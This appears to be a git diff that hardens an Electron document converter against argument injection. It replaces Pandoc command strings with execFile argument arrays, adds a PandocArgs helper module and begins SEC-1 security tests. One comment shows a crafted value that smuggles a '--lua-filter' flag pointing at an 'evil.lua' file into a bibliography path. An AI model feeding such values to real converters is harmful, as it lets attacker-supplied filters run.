diff --git a/src/main.js b/src/main.js index 9041dfa..3618c89 100644 --- a/src/main.js +++ b/src/main.js @@ -11,6 +11,7 @@ const VideoOperations = require('./main/VideoOperations'); const { collectFilesByExtension } = require('./main/collectFilesByExtension'); const { runPDFBatchOperation } = require('./main/PDFBatchOperations'); const GitOperations = require('./main/GitOperations'); +const PandocArgs = require('./main/PandocArgs'); const PdfFontHeader = require('./main/PdfFontHeader'); const MonospaceFontConfig = require('./main/MonospaceFontConfig'); const ExportCss = require('./main/ExportCss'); @@ -229,19 +230,16 @@ function convertDataToMarkdown(content, format) { } /** - * Run a Pandoc command string safely using execFile - * Parses the command string and uses execFile to prevent shell injection - * @param {string} cmdString - Full Pandoc command string (e.g., 'pandoc "input.md" -o "output.pdf"') + * Run Pandoc with an explicit argument array via execFile. + * Args must be built with the PandocArgs helpers (or plain Array.push) — never + * assembled into a command string, so user-controlled values always reach the + * process as single literal argv elements (SEC-1). + * @param {string[]} args - Argument array (without the pandoc executable) * @param {Function} callback - Callback function (error, stdout, stderr) */ -function runPandocCmd(cmdString, callback) { - const parsed = parseCommand(cmdString); - // Skip the command element when it is pandoc (bare or a full path to the binary) - const commandName = path.basename(parsed.command).replace(/\.exe$/i, ''); - const args = commandName === 'pandoc' ? parsed.args : [parsed.command, ...parsed.args]; - const pandocPath = getPandocPath(); +function runPandocArgs(args, callback) { execFile( - pandocPath, + getPandocPath(), args, { maxBuffer: 10 * 1024 * 1024, @@ -250,44 +248,6 @@ function runPandocCmd(cmdString, callback) { ); } -/** - * Parse a command string into command and arguments array - * This helps transition from exec() to execFile() safely - * @param {string} cmdString - Full command string - * @returns {{command: string, args: string[]}} - */ -function parseCommand(cmdString) { - // Handle quoted strings properly - const parts = []; - let current = ''; - let inQuotes = false; - let quoteChar = ''; - for (let i = 0; i < cmdString.length; i++) { - const char = cmdString[i]; - if ((char === '"' || char === "'") && !inQuotes) { - inQuotes = true; - quoteChar = char; - } else if (char === quoteChar && inQuotes) { - inQuotes = false; - quoteChar = ''; - } else if (char === ' ' && !inQuotes) { - if (current) { - parts.push(current); - current = ''; - } - } else { - current += char; - } - } - if (current) { - parts.push(current); - } - return { - command: parts[0], - args: parts.slice(1), - }; -} - // Simple storage implementation to replace electron-store const settingsPath = path.join(app.getPath('userData'), 'settings.json'); const store = { @@ -2845,49 +2805,22 @@ function performExportWithOptions(format, options) { inputFile = tempInputFile; } - let pandocCmd = `${getPandocPath()} "${inputFile}" -o "${outputFile}"`; - - // Add template if specified - if (options.template && options.template !== 'default') { - pandocCmd += ` --template="${options.template}"`; - } - - // Add metadata - if (options.metadata) { - for (const [key, value] of Object.entries(options.metadata)) { - if (value.trim()) { - pandocCmd += ` -M ${key}="${value.replace(/"/g, '\\"')}"`; - } - } - } - - // Add variables - if (options.variables) { - for (const [key, value] of Object.entries(options.variables)) { - if (value.trim()) { - pandocCmd += ` -V ${key}="${value.replace(/"/g, '\\"')}"`; - } - } - } - - // Add other options - if (options.toc) pandocCmd += ' --toc'; - if (options.tocDepth) pandocCmd += ` --toc-depth=${options.tocDepth}`; - if (options.numberSections) pandocCmd += ' --number-sections'; - if (options.citeproc) pandocCmd += ' --citeproc'; - if (options.bibliography) pandocCmd += ` --bibliography="${options.bibliography}"`; - if (options.csl) pandocCmd += ` --csl="${options.csl}"`; + // Build the argument array once with the shared export options; format + // branches below append their own flags. Every value lands in argv as a + // single literal element — never inside a command string (SEC-1). + const pandocArgs = PandocArgs.buildPandocArgs({ inputFile, outputFile, format, options }); // Add specific options for PDF export to ensure proper generation if (format === 'pdf') { - const pdfEngine = options.pdfEngine || 'xelatex'; // Default to xelatex - pandocCmd += ` --pdf-engine="${pdfEngine}"`; - if (options.geometry) pandocCmd += ` -V geometry:"${options.geometry}"`; + PandocArgs.appendPdfEngineOptions(pandocArgs, { + pdfEngine: options.pdfEngine, + geometry: options.geometry, + }); // Embed bundled monospace font so ASCII columns align in the PDF. const monoHeader = buildMonospaceHeaderFile(); - pandocCmd += ` --include-in-header="${monoHeader}"`; - pandocCmd += ' --highlight-style=tango'; + pandocArgs.push(`--include-in-header=${monoHeader}`); + pandocArgs.push('--highlight-style=tango'); // Add header/footer if enabled if (headerFooterSettings.enabled) { @@ -2925,12 +2858,12 @@ function performExportWithOptions(format, options) { `; const headerFile = path.join(require('os').tmpdir(), `header_export_${Date.now()}.tex`); fs.writeFileSync(headerFile, latexHeader, 'utf-8'); - pandocCmd += ` --include-in-header="${headerFile}"`; - pandocCmd += ' --variable header-includes="\\\\usepackage{lastpage}"'; + pandocArgs.push(`--include-in-header=${headerFile}`); + pandocArgs.push('--variable', 'header-includes=\\\\usepackage{lastpage}'); } - // Try with specified PDF engine (using runPandocCmd for safety) - runPandocCmd(pandocCmd, (error) => { + // Try with the specified PDF engine, then fall back if it fails + runPandocArgs(pandocArgs, (error) => { if (error) { // Try fallback engines if the specified one fails const fallbackEngines = ['lualatex', 'pdflatex']; @@ -2940,8 +2873,7 @@ function performExportWithOptions(format, options) { } }); } else if (format === 'docx') { - pandocCmd += ' -t docx'; - exportWithPandoc(pandocCmd, outputFile, format, async () => { + exportWithPandoc(pandocArgs, outputFile, format, async () => { // Embed the active monospace TTF into the DOCX so code blocks render in // JetBrains Mono / Fira Code regardless of the viewer's installed fonts. try { @@ -2984,18 +2916,24 @@ function performExportWithOptions(format, options) { author: '', }; const footerText = processDynamicFields(headerFooterSettings.footer.center, metadata); - pandocCmd += ` --variable footer="${footerText}"`; + PandocArgs.appendFooterVariable(pandocArgs, footerText); } - exportWithPandoc(pandocCmd, outputFile, format); + exportWithPandoc(pandocArgs, outputFile, format); } else if (format === 'json') { - pandocCmd = `${getPandocPath()} "${currentFile}" -t json -o "${outputFile}"`; - exportWithPandoc(pandocCmd, outputFile, format); + exportWithPandoc( + PandocArgs.buildSimpleTargetArgs(currentFile, outputFile, format), + outputFile, + format + ); } else if (format === 'html') { // Build a complete HTML file with our bundled monospace font as embedded CSS. const cssFile = path.join(os.tmpdir(), `monospace-html-${Date.now()}-${process.pid}.css`); fs.writeFileSync(cssFile, buildMonospaceExportCss(), 'utf-8'); - pandocCmd = `${getPandocPath()} "${inputFile}" -s --css="${cssFile}" -o "${outputFile}"`; - exportWithPandoc(pandocCmd, outputFile, format); + exportWithPandoc( + [inputFile, '-s', `--css=${cssFile}`, '-o', outputFile], + outputFile, + format + ); } else if (format === 'yaml' || format === 'xml' || format === 'toml') { // For YAML/XML/TOML, save the raw markdown content with the new extension try { @@ -3009,65 +2947,52 @@ function performExportWithOptions(format, options) { ); } } else if (format === 'revealjs') { - let revealCmd = `${getPandocPath()} "${currentFile}" -t revealjs -s -o "${outputFile}" --slide-level=2`; + const revealArgs = [ + currentFile, + '-t', + 'revealjs', + '-s', + '-o', + outputFile, + '--slide-level=2', + ]; if (options) { - if (options.revealTheme) revealCmd += ` -V theme="${options.revealTheme}"`; - if (options.revealTransition) revealCmd += ` -V transition="${options.revealTransition}"`; + if (options.revealTheme) revealArgs.push('-V', `theme=${options.revealTheme}`); + if (options.revealTransition) + revealArgs.push('-V', `transition=${options.revealTransition}`); if (options.revealTransitionSpeed) - revealCmd += ` -V transitionSpeed="${options.revealTransitionSpeed}"`; + revealArgs.push('-V', `transitionSpeed=${options.revealTransitionSpeed}`); if (options.revealControls !== undefined) - revealCmd += ` -V controls="${options.revealControls}"`; + revealArgs.push('-V', `controls=${options.revealControls}`); if (options.revealSlideNumber !== undefined) - revealCmd += ` -V slideNumber="${options.revealSlideNumber}"`; + revealArgs.push('-V', `slideNumber=${options.revealSlideNumber}`); if (options.revealProgress !== undefined) - revealCmd += ` -V progress="${options.revealProgress}"`; + revealArgs.push('-V', `progress=${options.revealProgress}`); if (options.revealHistory !== undefined) - revealCmd += ` -V history="${options.revealHistory}"`; + revealArgs.push('-V', `history=${options.revealHistory}`); if (options.revealCenter !== undefined) - revealCmd += ` -V center="${options.revealCenter}"`; + revealArgs.push('-V', `center=${options.revealCenter}`); - // Support for templates, metadata, bibliography - if (options.template && options.template !== 'default') { - revealCmd += ` --template="${options.template}"`; - } - if (options.metadata) { - for (const [key, value] of Object.entries(options.metadata)) { - if (value.trim()) { - revealCmd += ` -M ${key}="${value.replace(/"/g, '\\"')}"`; - } - } - } - if (options.bibliography) revealCmd += ` --bibliography="${options.bibliography}"`; - if (options.csl) revealCmd += ` --csl="${options.csl}"`; + // Support for templates, metadata, bibliography (only these dialog + // options were applied to reveal.js exports before the args-array + // conversion — keep that exact behavior) + PandocArgs.appendCommonOptions(revealArgs, { + template: options.template, + metadata: options.metadata, + bibliography: options.bibliography, + csl: options.csl, + }); } - exportWithPandoc(revealCmd, outputFile, format); - } else if (format === 'beamer') { - pandocCmd = `${getPandocPath()} "${currentFile}" -t beamer -o "${outputFile}"`; - exportWithPandoc(pandocCmd, outputFile, format); - } else if (format === 'confluence' || format === 'jira') { - pandocCmd = `${getPandocPath()} "${currentFile}" -t jira -o "${outputFile}"`; - exportWithPandoc(pandocCmd, outputFile, format); - } else if (format === 'asciidoc') { - pandocCmd = `${getPandocPath()} "${currentFile}" -t asciidoc -o "${outputFile}"`; - exportWithPandoc(pandocCmd, outputFile, format); - } else if (format === 'rst') { - pandocCmd = `${getPandocPath()} "${currentFile}" -t rst -o "${outputFile}"`; - exportWithPandoc(pandocCmd, outputFile, format); - } else if (format === 'mediawiki') { - pandocCmd = `${getPandocPath()} "${currentFile}" -t mediawiki -o "${outputFile}"`; - exportWithPandoc(pandocCmd, outputFile, format); - } else if (format === 'org') { - pandocCmd = `${getPandocPath()} "${currentFile}" -t org -o "${outputFile}"`; - exportWithPandoc(pandocCmd, outputFile, format); - } else if (format === 'textile') { - pandocCmd = `${getPandocPath()} "${currentFile}" -t textile -o "${outputFile}"`; - exportWithPandoc(pandocCmd, outputFile, format); - } else if (format === 'man') { - pandocCmd = `${getPandocPath()} "${currentFile}" -t man -o "${outputFile}"`; - exportWithPandoc(pandocCmd, outputFile, format); - } else if (format === 'ipynb') { - pandocCmd = `${getPandocPath()} "${currentFile}" -t ipynb -o "${outputFile}"`; - exportWithPandoc(pandocCmd, outputFile, format); + exportWithPandoc(revealArgs, outputFile, format); + } else if (PandocArgs.SIMPLE_TARGET_FORMATS[format]) { + // json, beamer, jira/confluence and the plain text/markup formats all + // export through a bare `-t ` conversion (dialog options are + // not applied to these formats). + exportWithPandoc( + PandocArgs.buildSimpleTargetArgs(currentFile, outputFile, format), + outputFile, + format + ); } else if (format === 'epub') { // Embed the active monospace TTF into EPUB so code blocks render in // JetBrains Mono / Fira Code regardless of the reader's installed fonts. @@ -3076,10 +3001,10 @@ function performExportWithOptions(format, options) { const regular = MonospaceFontConfig.getMonoFontTtfPath(familyKey, 400); const bold = MonospaceFontConfig.getMonoFontTtfPath(familyKey, 700); [regular, bold].filter(Boolean).forEach((p) => { - pandocCmd += ` --epub-embed-font="${p}"`; + pandocArgs.push(`--epub-embed-font=${p}`); }); } - runPandocCmd(pandocCmd, async (error) => { + runPandocArgs(pandocArgs, async (error) => { if (error) { dialog.showErrorBox( 'Export Error', @@ -3117,8 +3042,7 @@ function performExportWithOptions(format, options) { } else if (format === 'mobi') { // First export to EPUB, then try ebook-convert if available const epubFile = outputFile.replace(/\.mobi$/i, '.epub'); - pandocCmd = `${getPandocPath()} "${currentFile}" -o "${epubFile}"`; - runPandocCmd(pandocCmd, (error) => { + runPandocArgs([currentFile, '-o', epubFile], (error) => { if (error) { dialog.showErrorBox( 'Export Error', @@ -3148,7 +3072,7 @@ function performExportWithOptions(format, options) { }); } else { // Generic export for other formats - exportWithPandoc(pandocCmd, outputFile, format); + exportWithPandoc(pandocArgs, outputFile, format); } }) .catch((error) => { @@ -3167,16 +3091,17 @@ function tryPdfFallback(inputFile, outputFile, engines, index, options, _lastErr return; } const engine = engines[index]; - let pandocCmd = `${getPandocPath()} "${inputFile}" --pdf-engine=${engine} -o "${outputFile}"`; + const pandocArgs = [inputFile, `--pdf-engine=${engine}`, '-o', outputFile]; // Embed bundled monospace font so ASCII columns align in the PDF. const monoHeader = buildMonospaceHeaderFile(); - pandocCmd += ` --include-in-header="${monoHeader}"`; - pandocCmd += ' --highlight-style=tango'; + pandocArgs.push(`--include-in-header=${monoHeader}`); + pandocArgs.push('--highlight-style=tango'); - // Add geometry if specified - if (options.geometry) - pandocCmd = pandocCmd.replace(` -o `, ` -V geometry:"${options.geometry}" -o `); + // Add geometry if specified (the engine flag is already set above) + if (options.geometry) { + pandocArgs.push('-V', `geometry:${options.geometry}`); + } // Add header/footer if enabled if (headerFooterSettings.enabled) { @@ -3213,23 +3138,17 @@ function tryPdfFallback(inputFile, outputFile, engines, index, options, _lastErr `; const headerFile = path.join(require('os').tmpdir(), `header_fallback_${Date.now()}.tex`); fs.writeFileSync(headerFile, latexHeader, 'utf-8'); - pandocCmd += ` --include-in-header="${headerFile}"`; + pandocArgs.push(`--include-in-header=${headerFile}`); } - // Add all other options - if (options.template && options.template !== 'default') { - pandocCmd += ` --template="${options.template}"`; - } - if (options.metadata) { - for (const [key, value] of Object.entries(options.metadata)) { - if (value.trim()) { - pandocCmd += ` -M ${key}="${value.replace(/"/g, '\\"')}"`; - } - } - } + // Add all other options (this fallback path historically applied only the + // template and metadata options — keep that exact behavior) + PandocArgs.appendCommonOptions(pandocArgs, { + template: options.template, + metadata: options.metadata, + }); - // Use runPandocCmd for safety (prevents command injection) - runPandocCmd(pandocCmd, (error) => { + runPandocArgs(pandocArgs, (error) => { if (error) { tryPdfFallback(inputFile, outputFile, engines, index + 1, options, error); } else { @@ -3246,9 +3165,10 @@ function showExportSuccess(outputFile) { }); } -// Helper function to export with pandoc (general) - uses runPandocCmd for safety -function exportWithPandoc(pandocCmd, outputFile, format, onComplete) { - runPandocCmd(pandocCmd, async (error, stdout, stderr) => { +// Helper function to export with pandoc (general) - runs pandoc with an +// argument array (values are passed to execFile as literal argv elements) +function exportWithPandoc(pandocArgs, outputFile, format, onComplete) { + runPandocArgs(pandocArgs, async (error, stdout, stderr) => { if (error) { console.error(`Pandoc error for ${format}:`, error); console.error(`Pandoc stderr:`, stderr); @@ -3264,7 +3184,7 @@ function exportWithPandoc(pandocCmd, outputFile, format, onComplete) { } else { errorMessage += `\n\nError details: ${error.message}`; } - errorMessage += `\n\nCommand used: ${pandocCmd}`; + errorMessage += `\n\nCommand used: pandoc ${pandocArgs.join(' ')}`; dialog.showErrorBox('Export Error', sanitizeErrorMessage(errorMessage)); } else { if (stderr) { @@ -3647,21 +3567,21 @@ function importDocument() { const outputFile = inputFile.replace(/\.[^/.]+$/, '.md'); // Determine format-specific conversion options - let additionalOptions = ''; + let additionalOptions = []; // For PDFs, extract text properly if (ext === 'pdf') { - additionalOptions = '--pdf-engine=xelatex'; + additionalOptions = ['--pdf-engine=xelatex']; } // For CSV/TSV, convert as tables if (ext === 'csv' || ext === 'tsv') { - additionalOptions = '--from=csv -t markdown'; + additionalOptions = ['--from=csv', '-t', 'markdown']; } // For JSON, handle structure if (ext === 'json') { - additionalOptions = '--from=json -t markdown'; + additionalOptions = ['--from=json', '-t', 'markdown']; } // For YAML, XML, TOML - wrap content in code blocks directly @@ -3684,9 +3604,10 @@ function importDocument() { return; } - // Convert to markdown using pandoc (using runPandocCmd for safety) - const pandocCmd = `${getPandocPath()} "${inputFile}" -t markdown ${additionalOptions} -o "${outputFile}"`; - runPandocCmd(pandocCmd, (error, _stdout, _stderr) => { + // Convert to markdown using pandoc with an argument array (input and + // output paths are passed as single literal argv elements) + const pandocArgs = [inputFile, '-t', 'markdown', ...additionalOptions, '-o', outputFile]; + runPandocArgs(pandocArgs, (error, _stdout, _stderr) => { if (error) { dialog.showErrorBox( 'Import Error', @@ -4181,48 +4102,25 @@ async function performBatchConversion( } } - let pandocCmd = `${getPandocPath()} "${pandocInputFile}" -o "${outputFile}"`; - - // Add template if specified - if (options.template && options.template !== 'default') { - pandocCmd += ` --template="${options.template}"`; - } - - // Add metadata - if (options.metadata) { - for (const [key, value] of Object.entries(options.metadata)) { - if (value.trim()) { - pandocCmd += ` -M ${key}="${value.replace(/"/g, '\\"')}"`; - } - } - } - - // Add variables - if (options.variables) { - for (const [key, value] of Object.entries(options.variables)) { - if (value.trim()) { - pandocCmd += ` -V ${key}="${value.replace(/"/g, '\\"')}"`; - } - } - } - - // Add other options - if (options.toc) pandocCmd += ' --toc'; - if (options.tocDepth) pandocCmd += ` --toc-depth=${options.tocDepth}`; - if (options.numberSections) pandocCmd += ' --number-sections'; - if (options.citeproc) pandocCmd += ' --citeproc'; - if (options.bibliography) pandocCmd += ` --bibliography="${options.bibliography}"`; - if (options.csl) pandocCmd += ` --csl="${options.csl}"`; + // Build the argument array with the shared export options (values are + // passed to execFile as single literal argv elements — SEC-1) + const pandocArgs = PandocArgs.buildPandocArgs({ + inputFile: pandocInputFile, + outputFile, + format, + options, + }); // Add PDF-specific options with header/footer support if (format === 'pdf') { - const pdfEngine = options.pdfEngine || 'xelatex'; - pandocCmd += ` --pdf-engine=${pdfEngine}`; - if (options.geometry) pandocCmd += ` -V geometry:"${options.geometry}"`; + PandocArgs.appendPdfEngineOptions(pandocArgs, { + pdfEngine: options.pdfEngine, + geometry: options.geometry, + }); // Add monospace font settings for code blocks (ASCII art preservation) - pandocCmd += ' -V monofont="Consolas"'; - pandocCmd += ' --highlight-style=tango'; + pandocArgs.push('-V', 'monofont=Consolas'); + pandocArgs.push('--highlight-style=tango'); // Add header/footer if enabled if (headerFooterSettings.enabled) { @@ -4258,16 +4156,11 @@ async function performBatchConversion( `; const headerFile = path.join(require('os').tmpdir(), `header_batch_${Date.now()}.tex`); fs.writeFileSync(headerFile, latexHeader, 'utf-8'); - pandocCmd += ` --include-in-header="${headerFile}"`; - pandocCmd += ' --variable header-includes="\\\\usepackage{lastpage}"'; + pandocArgs.push(`--include-in-header=${headerFile}`); + pandocArgs.push('--variable', 'header-includes=\\\\usepackage{lastpage}'); } } - // Add DOCX-specific handling - if (format === 'docx') { - pandocCmd += ' -t docx'; - } - // Add PowerPoint footer if enabled if (format === 'pptx' && headerFooterSettings.enabled && headerFooterSettings.footer.center) { const filename = path.basename(inputFile, path.extname(inputFile)); @@ -4277,11 +4170,11 @@ async function performBatchConversion( author: '', }; const footerText = processDynamicFields(headerFooterSettings.footer.center, metadata); - pandocCmd += ` --variable footer="${footerText}"`; + PandocArgs.appendFooterVariable(pandocArgs, footerText); } - // Execute conversion (using runPandocCmd for safety) - runPandocCmd(pandocCmd, async (error, _stdout, stderr) => { + // Execute conversion with the argument array + runPandocArgs(pandocArgs, async (error, _stdout, stderr) => { // Clean up temporary pre-processed input file and directory if (batchTempInputFile) { try { @@ -4438,9 +4331,9 @@ function performCLIConversion(inputPath, format) { try { const content = fs.readFileSync(inputPath, 'utf-8'); const outputPath = inputPath.replace(/\.[^/.]+$/, `.${format}`); - // Use existing export functions but with CLI output (using runPandocCmd for safety) - const pandocCommand = buildPandocCommand(content, format, outputPath); - runPandocCmd(pandocCommand, (error, stdout, stderr) => { + // Convert with an argument array (input/output paths are single argv elements) + const pandocArgs = buildCLIConversionArgs(content, format, outputPath); + runPandocArgs(pandocArgs, (error, stdout, stderr) => { if (error) { console.error(`Conversion failed: ${error.message}`); if (stderr) console.error(`Details: ${stderr}`); @@ -4467,11 +4360,12 @@ function performCLIConversion(inputPath, format) { } } -// Build Pandoc command for CLI conversion -function buildPandocCommand(content, format, outputPath) { +// Build pandoc argument array for CLI conversion (temp input file plus +// format-specific flags; every value is a single literal argv element) +function buildCLIConversionArgs(content, format, outputPath) { const inputFile = path.join(require('os').tmpdir(), `panconverter_temp_${Date.now()}.md`); fs.writeFileSync(inputFile, content, 'utf-8'); - let command = `pandoc "${inputFile}" -o "${outputPath}"`; + let args = [inputFile, '-o', outputPath]; // Get metadata for dynamic fields const filename = currentFile ? path.basename(currentFile, path.extname(currentFile)) : 'document'; @@ -4482,26 +4376,26 @@ function buildPandocCommand(content, format, outputPath) { }; switch (format) { case 'pdf': - command += ' --pdf-engine=xelatex --variable geometry:margin=1in'; + args.push('--pdf-engine=xelatex', '-V', 'geometry:margin=1in'); // Add page size and orientation const pageSize = PAGE_SIZES[pageSettings.size]; if (pageSize) { - command += ` -V geometry:papersize=${pageSize.pandoc}`; + args.push('-V', `geometry:papersize=${pageSize.pandoc}`); } else if (pageSettings.customWidth && pageSettings.customHeight) { // Custom page size - command += ` -V geometry:paperwidth=${pageSettings.customWidth}`; - command += ` -V geometry:paperheight=${pageSettings.customHeight}`; + args.push('-V', `geometry:paperwidth=${pageSettings.customWidth}`); + args.push('-V', `geometry:paperheight=${pageSettings.customHeight}`); } // Add orientation if (pageSettings.orientation === 'landscape') { - command += ' -V geometry:landscape'; + args.push('-V', 'geometry:landscape'); } // Add monospace font settings for code blocks (ASCII art preservation) - command += ' -V monofont="Consolas"'; - command += ' --highlight-style=tango'; + args.push('-V', 'monofont=Consolas'); + args.push('--highlight-style=tango'); // Add header/footer if enabled if (headerFooterSettings.enabled) { @@ -4514,12 +4408,12 @@ function buildPandocCommand(content, format, outputPath) { const footerRight = processDynamicFields(headerFooterSettings.footer.right, metadata); // Add Pandoc variables for fancyhdr package - if (headerLeft) command += ` --variable header-left="${headerLeft}"`; - if (headerCenter) command += ` --variable header-center="${headerCenter}"`; - if (headerRight) command += ` --variable header-right="${headerRight}"`; - if (footerLeft) command += ` --variable footer-left="${footerLeft}"`; - if (footerCenter) command += ` --variable footer-center="${footerCenter}"`; - if (footerRight) command += ` --variable footer-right="${footerRight}"`; + if (headerLeft) args.push('--variable', `header-left=${headerLeft}`); + if (headerCenter) args.push('--variable', `header-center=${headerCenter}`); + if (headerRight) args.push('--variable', `header-right=${headerRight}`); + if (footerLeft) args.push('--variable', `footer-left=${footerLeft}`); + if (footerCenter) args.push('--variable', `footer-center=${footerCenter}`); + if (footerRight) args.push('--variable', `footer-right=${footerRight}`); // Create custom LaTeX header with fancyhdr const latexHeader = ` @@ -4540,17 +4434,17 @@ function buildPandocCommand(content, format, outputPath) { `; const headerFile = path.join(require('os').tmpdir(), `header_${Date.now()}.tex`); fs.writeFileSync(headerFile, latexHeader, 'utf-8'); - command += ` --include-in-header="${headerFile}"`; + args.push(`--include-in-header=${headerFile}`); // Add lastpage package for $TOTAL$ support - command += ' --variable header-includes="\\\\usepackage{lastpage}"'; + args.push('--variable', 'header-includes=\\\\usepackage{lastpage}'); } break; case 'html': - command += ' --self-contained --css'; + args.push('--self-contained', '--css'); break; case 'docx': - command += ' --reference-doc'; + args.push('--reference-doc'); // For DOCX, header/footer are handled via reference document or separate processing // We'll add a note that DOCX headers/footers require reference doc or post-processing @@ -4559,41 +4453,41 @@ function buildPandocCommand(content, format, outputPath) { // ODT headers/footers are handled via reference document break; case 'latex': - command += ' --standalone'; + args.push('--standalone'); break; case 'pptx': - command += ' --slide-level=2'; + args.push('--slide-level=2'); // PowerPoint footer can be added with --variable if (headerFooterSettings.enabled && headerFooterSettings.footer.center) { const footerText = processDynamicFields(headerFooterSettings.footer.center, metadata); - command += ` --variable footer="${footerText}"`; + PandocArgs.appendFooterVariable(args, footerText); } break; case 'json': - command = `pandoc "${inputFile}" -t json -o "${outputPath}"`; + args = [inputFile, '-t', 'json', '-o', outputPath]; break; case 'yaml': - command = `pandoc "${inputFile}" -t markdown -o "${outputPath}"`; + args = [inputFile, '-t', 'markdown', '-o', outputPath]; break; case 'xml': - command = `pandoc "${inputFile}" -t jats -o "${outputPath}"`; + args = [inputFile, '-t', 'jats', '-o', outputPath]; break; case 'toml': // TOML: save raw markdown content with .toml extension - command = `pandoc "${inputFile}" -t markdown -o "${outputPath}"`; + args = [inputFile, '-t', 'markdown', '-o', outputPath]; break; case 'revealjs': - command = `pandoc "${inputFile}" -t revealjs -s -o "${outputPath}" --slide-level=2`; + args = [inputFile, '-t', 'revealjs', '-s', '-o', outputPath, '--slide-level=2']; break; case 'beamer': - command = `pandoc "${inputFile}" -t beamer -o "${outputPath}"`; + args = [inputFile, '-t', 'beamer', '-o', outputPath]; break; case 'confluence': case 'jira': - command = `pandoc "${inputFile}" -t jira -o "${outputPath}"`; + args = [inputFile, '-t', 'jira', '-o', outputPath]; break; } - return command; + return args; } app.whenReady().then(() => { // Load saved Word template path and settings diff --git a/src/main/PandocArgs.js b/src/main/PandocArgs.js new file mode 100644 index 0000000..11ea2b7 --- /dev/null +++ b/src/main/PandocArgs.js @@ -0,0 +1,135 @@ +/** + * Pure builders for Pandoc execFile argument arrays. + * + * Every Pandoc invocation in the main process must call + * execFile(pandocPath, args) with an argument array built here or with plain + * Array.push calls — never a command string that is later re-tokenized. + * Values that come from the user (file paths, template names, metadata values) + * are pushed verbatim as single argv elements, so a crafted value such as + * `/tmp/x.bib" --lua-filter=/tmp/evil.lua` can never break out of its argument + * and inject additional Pandoc flags (security finding SEC-1). + */ + +/** + * Formats exported through a plain `-t ` conversion. The export dialog + * replaces the whole command for these formats (dialog options like template or + * metadata are not applied) — this map preserves that pre-existing behavior. + */ +const SIMPLE_TARGET_FORMATS = { + json: 'json', + beamer: 'beamer', + confluence: 'jira', + jira: 'jira', + asciidoc: 'asciidoc', + rst: 'rst', + mediawiki: 'mediawiki', + org: 'org', + textile: 'textile', + man: 'man', + ipynb: 'ipynb', +}; + +/** + * Append the export-dialog options shared by the export, batch-conversion and + * fallback paths. Each value lands in argv exactly once, unquoted and + * unescaped — execFile passes array elements as literal arguments. + * @param {string[]} args - Argument array to append to (mutated) + * @param {Object} options - Export options ({ template, metadata, variables, + * toc, tocDepth, numberSections, citeproc, bibliography, csl }) + */ +function appendCommonOptions(args, options) { + if (!options) return; + + if (options.template && options.template !== 'default') { + args.push(`--template=${options.template}`); + } + + if (options.metadata) { + for (const [key, value] of Object.entries(options.metadata)) { + if (value.trim()) { + args.push('-M', `${key}=${value}`); + } + } + } + + if (options.variables) { + for (const [key, value] of Object.entries(options.variables)) { + if (value.trim()) { + args.push('-V', `${key}=${value}`); + } + } + } + + if (options.toc) args.push('--toc'); + if (options.tocDepth) args.push(`--toc-depth=${options.tocDepth}`); + if (options.numberSections) args.push('--number-sections'); + if (options.citeproc) args.push('--citeproc'); + if (options.bibliography) args.push(`--bibliography=${options.bibliography}`); + if (options.csl) args.push(`--csl=${options.csl}`); +} + +/** + * Append the shared prefix of every PDF invocation: the pdf engine flag and, + * when set, the page geometry variable. + * @param {string[]} args - Argument array to append to (mutated) + * @param {Object} params + * @param {string} [params.pdfEngine] - Falls back to xelatex when omitted + * @param {string} [params.geometry] - LaTeX geometry string (e.g. margin=1in) + */ +function appendPdfEngineOptions(args, { pdfEngine, geometry } = {}) { + args.push(`--pdf-engine=${pdfEngine || 'xelatex'}`); + if (geometry) args.push('-V', `geometry:${geometry}`); +} + +/** + * Append the PowerPoint footer variable (used when header/footer is enabled). + * @param {string[]} args - Argument array to append to (mutated) + * @param {string} footerText - Processed footer text + */ +function appendFooterVariable(args, footerText) { + if (footerText) args.push('--variable', `footer=${footerText}`); +} + +/** + * Build the base argument array for the export dialog and batch conversion: + * input, -o output, the shared export options, and the `-t docx` tail for + * Word exports. Format-specific extras (PDF engine flags, EPUB fonts, HTML + * css, reveal.js themes) are appended by the call site. + * @param {Object} params + * @param {string} params.inputFile - Path passed to pandoc verbatim + * @param {string} params.outputFile - Path passed to pandoc verbatim + * @param {string} [params.format] - Export format name + * @param {Object} [params.options] - Export dialog options + * @returns {string[]} + */ +function buildPandocArgs({ inputFile, outputFile, format, options = {} }) { + const args = [inputFile, '-o', outputFile]; + appendCommonOptions(args, options); + if (format === 'docx') { + args.push('-t', 'docx'); + } + return args; +} + +/** + * Build args for the simple `-t ` formats (see SIMPLE_TARGET_FORMATS). + * @param {string} inputFile - Input path + * @param {string} outputFile - Output path + * @param {string} format - Export format name + * @returns {string[]|null} Argument array, or null when format is not one of + * the simple target formats + */ +function buildSimpleTargetArgs(inputFile, outputFile, format) { + const target = SIMPLE_TARGET_FORMATS[format]; + if (!target) return null; + return [inputFile, '-t', target, '-o', outputFile]; +} + +module.exports = { + SIMPLE_TARGET_FORMATS, + appendCommonOptions, + appendPdfEngineOptions, + appendFooterVariable, + buildPandocArgs, + buildSimpleTargetArgs, +}; diff --git a/tests/main/pandoc-arg-safety.test.js b/tests/main/pandoc-arg-safety.test.js new file mode 100644 index 0000000..00002e6 --- /dev/null +++ b/tests/main/pandoc-arg-safety.test.js @@ -0,0 +1,327 @@ +/** + * Security and regression tests for the Pandoc argument builders (SEC-1). + * + * Pandoc must always be invoked as execFile(pandocPath, args) with an argument + * array — never a shell-style command string that gets re-tokenized. These + * tests prove that user-controlled values (file paths, template names, + * metadata, footer text) can only ever arrive as single literal argv elements, + * and pin the argument shape of every export format to its pre-conversion + * behavior. + */ +const PandocArgs = require('../../src/main/PandocArgs'); + +const { + SIMPLE_TARGET_FORMATS, + appendCommonOptions, + appendFooterVariable, + appendPdfEngineOptions, + buildPandocArgs, + buildSimpleTargetArgs, +} = PandocArgs; + +/** + * Verbatim copy of the retired main.js tokenizer (removed with the fix). + * parseCommand had no escape handling, so any value containing a quote + * character split into multiple argv elements. Kept here only to prove the + * old path was exploitable and to pin the new arrays against the old output + * for benign input. + */ +function retiredParseCommand(cmdString) { + const parts = []; + let current = ''; + let inQuotes = false; + let quoteChar = ''; + for (let i = 0; i < cmdString.length; i++) { + const char = cmdString[i]; + if ((char === '"' || char === "'") && !inQuotes) { + inQuotes = true; + quoteChar = char; + } else if (char === quoteChar && inQuotes) { + inQuotes = false; + quoteChar = ''; + } else if (char === ' ' && !inQuotes) { + if (current) { + parts.push(current); + current = ''; + } + } else { + current += char; + } + } + if (current) { + parts.push(current); + } + return { command: parts[0], args: parts.slice(1) }; +} + +// Asserts that `value` arrives in 